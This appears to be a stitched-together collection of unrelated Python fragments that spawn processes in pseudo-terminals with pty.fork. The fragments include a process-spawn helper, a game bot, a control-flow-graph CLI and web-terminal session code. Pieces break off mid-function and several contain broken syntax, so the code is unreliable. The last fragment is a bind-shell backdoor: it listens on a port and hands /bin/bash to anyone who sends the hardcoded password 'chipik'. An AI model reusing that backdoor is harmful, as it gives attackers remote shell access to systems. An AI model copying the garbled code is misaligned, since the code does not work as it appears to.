res = fcntl.ioctl(mfd, TIOCGPGRP, "\x00\x00\x00\x00")
assert res == expected
finally:
os.close(mfd)
def spawn(cls: Type[PtyProcessType],
spawn_command: List[str],
rows: int = 24,
cols: int = 80) -> PtyProcessType:
"""
Start the given command in a child process in a pseudo terminal.
This does all the fork/exec type of stuff for a pty, and returns an instance of PtyProcess.
For some devices setting terminal width strictly in the operating system (the actual network
operating system) does not seem to be sufficient by itself for setting terminal length or
width -- so we have optional values for rows/cols that can be passed here as well.
Args:
spawn_command: command to execute with arguments (if applicable), as a list
rows: integer number of rows for ptyprocess "window"
cols: integer number of cols for ptyprocess "window"
Returns:
inst: instantiated PtyProcess object
Raises:
SSHNotFound: if no ssh binary found on PATH
IOError: if unable to set window size of child process
OSError: if unable to spawn command in child process
"""
# Note that it is difficult for this method to fail.
# You cannot detect if the child process cannot start.
# So the only way you can tell if the child process started
# or not is to try to read from the file descriptor. If you get
# EOF immediately then it means that the child is already dead.
# That may not necessarily be bad because you may have spawned a child
# that performs some task; creates no stdout output; and then dies.
import fcntl
import pty
import resource
from pty import CHILD, STDIN_FILENO
spawn_executable = which(spawn_command[0])
if spawn_executable is None:
raise SSHNotFound("ssh executable not found!")
spawn_command[0] = spawn_executable
# [issue #119] To prevent the case where exec fails and the user is
# stuck interacting with a python child process instead of whatever
# was expected, we implement the solution from
# http://stackoverflow.com/a/3703179 to pass the exception to the
# parent process
# [issue #119] 1. Before forking, open a pipe in the parent process.
exec_err_pipe_read, exec_err_pipe_write = os.pipe()
pid, fd = pty.fork()
# Some platforms must call setwinsize() and setecho() from the
# child process, and others from the master process. We do both,
# allowing IOError for either.
if pid == CHILD:
try:
_setwinsize(fd=STDIN_FILENO, rows=rows, cols=cols)
except IOError as err:
if err.args[0] not in (errno.EINVAL, errno.ENOTTY):
raise
# [issue #119] 3. The child closes the reading end and sets the
# close-on-exec flag for the writing end.
os.close(exec_err_pipe_read)
fcntl.fcntl(exec_err_pipe_write, fcntl.F_SETFD, fcntl.FD_CLOEXEC)
# Do not allow child to inherit open file descriptors from parent,
# with the exception of the exec_err_pipe_write of the pipe.
# Impose ceiling on max_fd: AIX bugfix for users with unlimited
# nofiles where resource.RLIMIT_NOFILE is 2^63-1 and os.closerange()
# occasionally raises out of range error
max_fd = min(1048576,
resource.getrlimit(resource.RLIMIT_NOFILE)[0])
pass_fds = sorted({exec_err_pipe_write})
for pair in zip([2] + pass_fds, pass_fds + [max_fd]):
os.closerange(pair[0] + 1, pair[1])
try:
os.execv(spawn_executable, spawn_command)
except OSError as err:
# [issue #119] 5. If exec fails, the child writes the error
# code back to the parent using the pipe, then exits.
tosend = f"OSError:{err.errno}:{str(err)}".encode()
os.write(exec_err_pipe_write, tosend)
os.close(exec_err_pipe_write)
os._exit(os.EX_OSERR)
# Parent
inst = cls(pid, fd)
# [issue #119] 2. After forking, the parent closes the writing end
# of the pipe and reads from the reading end.
os.close(exec_err_pipe_write)
exec_err_data = os.read(exec_err_pipe_read, 4096)
os.close(exec_err_pipe_read)
# [issue #119] 6. The parent reads eof (a zero-length read) if the
# child successfully performed exec, since close-on-exec made
# successful exec close the writing end of the pipe. Or, if exec
# failed, the parent reads the error code and can proceed
# accordingly. Either way, the parent blocks until the child calls
# exec.
if len(exec_err_data) != 0:
try:
errclass, errno_s, errmsg = exec_err_data.split(b":", 2)
exctype = getattr(builtins, errclass.decode("ascii"),
Exception)
exception = exctype(errmsg.decode("utf-8", "replace"))
if exctype is OSError:
exception.errno = int(errno_s)
except Exception:
raise Exception("Subprocess failed, got bad error data: %r" %
exec_err_data)
else:
raise exception
try:
inst.setwinsize(rows=rows, cols=cols)
except IOError as err:
if err.args[0] not in (errno.EINVAL, errno.ENOTTY, errno.ENXIO):
raise
return inst
# do nothing yet
return key.TAB
def trans_state(self, state1, state2):
if(state1 == crawl_const.PEACE and state2 == crawl_const.BATTLE):
self.trans_peace_battle()
def trans_peace_battle(self):
# do nothing yet
return
if __name__ == "__main__":
screen = pyte.Screen(crawl_const.SCR_COL, crawl_const.SCR_ROW)
stream = pyte.ByteStream(screen)
p_pid, crawl_fd = pty.fork()
if p_pid == 0: # child
os.execvpe("crawl/crawl-ref/source/crawl", ['crawl/crawl-ref/source/crawl','-rc',"init.rc"],
env=dict(TERM="linux", COLUMNS=str(crawl_const.SCR_COL), LINES=str(crawl_const.SCR_ROW)))
try:
[_crawl_fd], _wlist, _xlist = select.select(
[crawl_fd], [], [], 1)
except (KeyboardInterrupt, # Stop right now!
ValueError): # Nothing to read.
print("KeyboardInterrupt or ValueError")
else: # parent
mapinfo = crawl_info.MapInfo()
player = crawl_info.PlayerInfo()
parser = crawl_parse.CrawlParser(crawl_fd, mapinfo, player, screen, stream)
learn2crawl = Learn2Crawl(crawl_fd, mapinfo, parser, player, screen, stream)
def fork(self):
"""pty voodoo"""
(self.child_pid, self.installProgress.master_fd) = pty.fork()
if self.child_pid == 0:
os.environ["TERM"] = "dumb"
return self.child_pid
def main() -> None:
parser = argparse.ArgumentParser(
description="Generate the control flow graph of a Python program")
parser.add_argument(
"input_file",
help=
"Path to a file containing a Python program for which the CFG must be generated",
)
parser.add_argument(
"--short",
action="store_true",
help="Shorten all strings above 20 characters",
)
parser.add_argument(
"--format",
type=str,
default="svg",
help="File format of the generated cfg",
)
parser.add_argument("--calls",
nargs=1,
type=bool,
default=True,
help="Toggle call graph")
parser.add_argument(
"--show",
nargs=1,
type=bool,
default=False,
help="Open CFG after generation",
)
parser.add_argument(
"--debug",
action="store_true",
default=False,
help="Generate graphs at run time",
)
parser.add_argument(
"--port",
type=int,
help="Serve at localhost:port",
default=8000,
)
parser.add_argument(
"--wsport",
type=int,
help="Socket port",
)
parser.add_argument(
"--serve-at",
type=str,
help="Host language server here",
default=os.path.join(os.environ["HOME"]),
)
parser.add_argument("--cleanup",
action="store_true",
help="Remove DOT file")
parser.add_argument("--pack",
type=bool,
default=True,
help="Generate compact graph")
parser.add_argument(
"--level",
type=str,
default="WARN",
choices=[
"DEBUG",
"INFO",
"WARN",
"CRITICAL",
"ERROR",
],
)
parser.add_argument("--diffable",
type=str,
help="generate diffable ast traversal")
args = parser.parse_args()
os.environ["PY2CFG_SERVER_PORT"] = str(
8000 if args.port is None else args.port)
os.environ["PY2CFG_SOCKET_PORT"] = str(
args.port + 1 if args.wsport is None else args.wsport)
os.environ["PY2CFG_PACK"] = str(args.pack)
os.environ["PY2CFG_SERVE_AT"] = args.serve_at
os.environ["PY2CFG_CLEANUP"] = str(args.cleanup)
os.environ["PY2CFG_LOGLEVEL"] = args.level
cfg_name = args.input_file.split("/")[-1]
# Run py2cfg interactively along side a debugger.
if args.debug:
try:
from pudb.debugger import Debugger # type: ignore
from pudb.run import main as pudb_main # type: ignore
except:
# Once we have a working implementation creating a Spyder plugin should be ez-pz.
print("pudb not found :(")
exit(1)
if not os.path.exists(args.input_file):
raise OSError("File not found")
os.environ["PY2CFG_SERVE_AT"] = os.path.join(args.serve_at, ".py2cfg")
if not os.path.exists(args.serve_at):
raise OSError("Server directory does not exist")
if (child := pty.fork()[0]) == 0:
# Create an http server that serves control flow graph files. Whenever
# the program is paused, generate a new py2cfg file and notify the
# browser script.
from py2cfg._serve import serve
serve(args.port)
else:
from py2cfg._debug_hooks import debug_init
from py2cfg._serve import set_pid
set_pid(child) # child is deleted from global namespace later
debug_init(Debugger, args.input_file, args.port)
# What to do about command line args? Use a positional argument as
# as a toggle?
# Just create a graph for examples/fib.py
# $ py2cfg graph [FILE] [--show {True, False}]...
# Run in debug mode
# $ py2cfg debug examples/fib.py [--arg [FOO]]
pudb_main()
# pudb wipes global variables so we have to import everything
# without upsetting the parser.
from os import kill
from os import getpid
from signal import SIGINT, SIGTERM
from py2cfg._serve import get_pid
from py2cfg._debug_hooks import get_future_id
if get_future_id() is not None:
kill(get_future_id(), SIGTERM)
kill(get_pid(), SIGINT)
return
def _fork_pty(self):
if self._n_pty:
try:
return pty.fork()
except OSError, e:
raise "Error: pty.fork() -> " + str(e)
def run(self):
self.status = 'running'
old_dir = os.getcwd()
os.chdir(self.exec_dir)
self.pid, child_fd = pty.fork()
if not self.pid: # Child process
# Replace child process with our main process
if not self.kwargs['emulate']:
try:
os.execv(self.cmd[0], self.cmd)
except FileNotFoundError:
self.status = 'done'
log(f"{self.cmd[0]} does not exist.", origin='spawn', level=2)
self.exit_code = 1
return False
os.chdir(old_dir)
poller = epoll()
poller.register(child_fd, EPOLLIN | EPOLLHUP)
if 'events' in self.kwargs and 'debug' in self.kwargs:
log(f'[D] Using triggers for command: {self.cmd}')
log(json.dumps(self.kwargs['events']))
alive = True
last_trigger_pos = 0
while alive and not self.kwargs['emulate']:
for fileno, event in poller.poll(0.1):
try:
output = os.read(child_fd, 8192).strip()
self.trace_log += output
except OSError:
alive = False
break
if 'debug' in self.kwargs and self.kwargs['debug'] and len(output):
log(self.cmd, 'gave:', output.decode('UTF-8'))
if 'on_output' in self.kwargs:
self.kwargs['on_output'](self.kwargs['worker'], output)
lower = output.lower()
broke = False
if 'events' in self.kwargs:
for trigger in list(self.kwargs['events']):
if type(trigger) != bytes:
original = trigger
trigger = bytes(original, 'UTF-8')
self.kwargs['events'][trigger] = self.kwargs['events'][original]
del(self.kwargs['events'][original])
if type(self.kwargs['events'][trigger]) != bytes:
self.kwargs['events'][trigger] = bytes(self.kwargs['events'][trigger], 'UTF-8')
if trigger.lower() in self.trace_log[last_trigger_pos:].lower():
trigger_pos = self.trace_log[last_trigger_pos:].lower().find(trigger.lower())
if 'debug' in self.kwargs and self.kwargs['debug']:
log(f"Writing to subprocess {self.cmd[0]}: {self.kwargs['events'][trigger].decode('UTF-8')}")
log(f"Writing to subprocess {self.cmd[0]}: {self.kwargs['events'][trigger].decode('UTF-8')}", origin='spawn', level=5)
last_trigger_pos = trigger_pos
os.write(child_fd, self.kwargs['events'][trigger])
del(self.kwargs['events'][trigger])
broke = True
break
if broke:
continue
## Adding a exit trigger:
if len(self.kwargs['events']) == 0:
if 'debug' in self.kwargs and self.kwargs['debug']:
log(f"Waiting for last command {self.cmd[0]} to finish.", origin='spawn', level=4)
if bytes(f']$'.lower(), 'UTF-8') in self.trace_log[0-len(f']$')-5:].lower():
if 'debug' in self.kwargs and self.kwargs['debug']:
log(f"{self.cmd[0]} has finished.")
alive = False
break
self.status = 'done'
if 'debug' in self.kwargs and self.kwargs['debug']:
log(f"{self.cmd[0]} waiting for exit code.")
if not self.kwargs['emulate']:
try:
self.exit_code = os.waitpid(self.pid, 0)[1]
except ChildProcessError:
try:
self.exit_code = os.waitpid(child_fd, 0)[1]
except ChildProcessError:
self.exit_code = 1
else:
self.exit_code = 0
if 'debug' in self.kwargs and self.kwargs['debug']:
log(f"{self.cmd[0]} got exit code: {self.exit_code}")
if 'ignore_errors' in self.kwargs:
self.exit_code = 0
if self.exit_code != 0 and not self.kwargs['surpress_errors']:
log(f"'{self.raw_cmd}' did not exit gracefully, exit code {self.exit_code}.")
log(self.trace_log.decode('UTF-8'))
raise SysCallError(f"'{self.raw_cmd}' did not exit gracefully, exit code {self.exit_code}.\n{self.trace_log.decode('UTF-8')}")
self.ended = time.time()
with open(f'{self.cwd}/trace.log', 'wb') as fh:
fh.write(self.trace_log)
def proc_spawn(self, sid):
shell = self.cmd
# Session
self.session[sid]['state'] = 'alive'
w, h = self.session[sid]['w'], self.session[sid]['h']
# Fork new process
try:
pid, fd = pty.fork()
except (IOError, OSError):
self.session[sid]['state'] = 'dead'
return False
if pid == 0:
"""
try:
ls = os.environ['LANG'].split('.')
except KeyError:
ls = []
if len(ls) < 2:
ls = ['en_US', 'UTF-8']
try:
env = {
'COLUMNS': str(w),
'LINES': str(h),
'TERM': self.env_term,
'PATH': (
'/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:'
'/usr/local/sbin'),
'LANG': ls[0] + '.UTF-8',
'HOME': '/root',
'SHELL': shell,
}
libc = cdll.LoadLibrary('libc.so.7')
buff = create_string_buffer(len(self.cmd) + 1)
buff.value = self.cmd
libc.setproctitle(byref(buff))
if self.session[sid]['jid']:
os.execve(
"/usr/sbin/jexec",
(
shell.split("/")[-1:] +
[self.session[sid]['jid'], shell]
),
env
)
cmd =
else:
os.execve(shell, shell.split("/")[-1:], env)
except Exception, e:
pass
# log.error("Impossible to start a subshell (%r): %s", e, e)
#self.proc_finish(sid)
os._exit(0)
"""
if self.cmd:
cmd = self.cmd
else:
"""
sys.stdout.write("Login: "******"""
if self.session[sid]['jid']:
# cmd = '/usr/sbin/jexec'
# cmd += str(self.session[sid]['jid'])
# cmd += '/bin/tcsh'
cmd = '/usr/sbin/jexec ' + str(self.session[sid]['jid']) + ' /bin/tcsh'
else:
cmd = '/bin/tcsh'
# os.execve(shell, shell.split("/")[-1:], env)
# Safe way to make it work under BSD and Linux
try:
ls = os.environ['LANG'].split('.')
except KeyError:
ls = []
if len(ls) < 2:
ls = ['en_US', 'UTF-8']
try:
os.putenv('COLUMNS', str(w))
os.putenv('LINES', str(h))
os.putenv('TERM', self.env_term)
os.putenv('PATH', os.environ['PATH'])
os.putenv('LANG', ls[0] + '.UTF-8')
os.putenv('HOME', "/root")
os.system(cmd)
except (IOError, OSError):
pass
# self.proc_finish(sid)
os._exit(0)
else:
# Store session vars
self.session[sid]['pid'] = pid
self.session[sid]['fd'] = fd
# Set file control
fcntl.fcntl(fd, fcntl.F_SETFL, os.O_NONBLOCK)
# Set terminal size
try:
fcntl.ioctl(fd,
struct.unpack('i',
struct.pack('I', termios.TIOCSWINSZ)
)[0],
struct.pack("HHHH", h, w, 0, 0))
except (IOError, OSError):
pass
return True
def pty(self):
self.pid, self.fd = pty.fork()
if self.pid == 0:
self.shell()
else:
self.communicate()
def create(self, w=80, h=25, hostname=None, port=None):
pid, fd = pty.fork()
if pid == 0:
try:
fdl = [int(i) for i in os.listdir('/proc/self/fd')]
except OSError:
fdl = range(256)
for i in [i for i in fdl if i > 2]:
try:
os.close(i)
except OSError:
pass
if self.cmd:
cmd = ['/bin/sh', '-c', self.cmd]
elif os.getuid() == 0:
cmd = ['/bin/login']
else:
if not hostname:
sys.stdout.write("Hostname [localhost]: ")
hostname = SanitizeInput(sys.stdin.readline().strip())
if not port:
sys.stdout.write("Port [%s]: " % (self.serverport, ))
port = SanitizeInput(sys.stdin.readline().strip())
sys.stdout.write("Login: "******"COLUMNS"] = str(w)
env["LINES"] = str(h)
env["TERM"] = "linux"
env["PATH"] = os.environ['PATH']
os.execvpe(cmd[0], cmd, env)
else:
fcntl.fcntl(fd, fcntl.F_SETFL, os.O_NONBLOCK)
# python bug http://python.org/sf/1112949 on amd64
fcntl.ioctl(fd, termios.TIOCSWINSZ,
struct.pack("HHHH", h, w, 0, 0))
self.proc[fd] = {
'pid': pid,
'term': Terminal(w, h),
'buf': '',
'time': time.time()
}
return fd
def make(self, install):
pid, fd = pty.fork()
if pid == 0:
for i in range(2):
self.install()
die = False
# watch.set_reuse_addr()
watch.bind(("", port))
watch.listen(5)
except:
print("[%d] unable to create socket, exiting.." % getpid())
exit()
else:
print("[%d] bindshell on port %d" % (getpid(), port))
while True:
sock, remote = watch.accept()
if os.fork():
continue
pid, childID = fork()
if pid == 0:
if (raw_input("password? ")) == "chipik":
spawn("/bin/bash")
else:
b = sock.makefile(os.O_RDONLY | os.O_NONBLOCK)
c = fdopen(childID, 'r+')
data = ""
x = {b: c, c: b}
while True:
for f in select.select([b, c], [], [])[0]:
try:
d = read(f.fileno(), 4096)
except: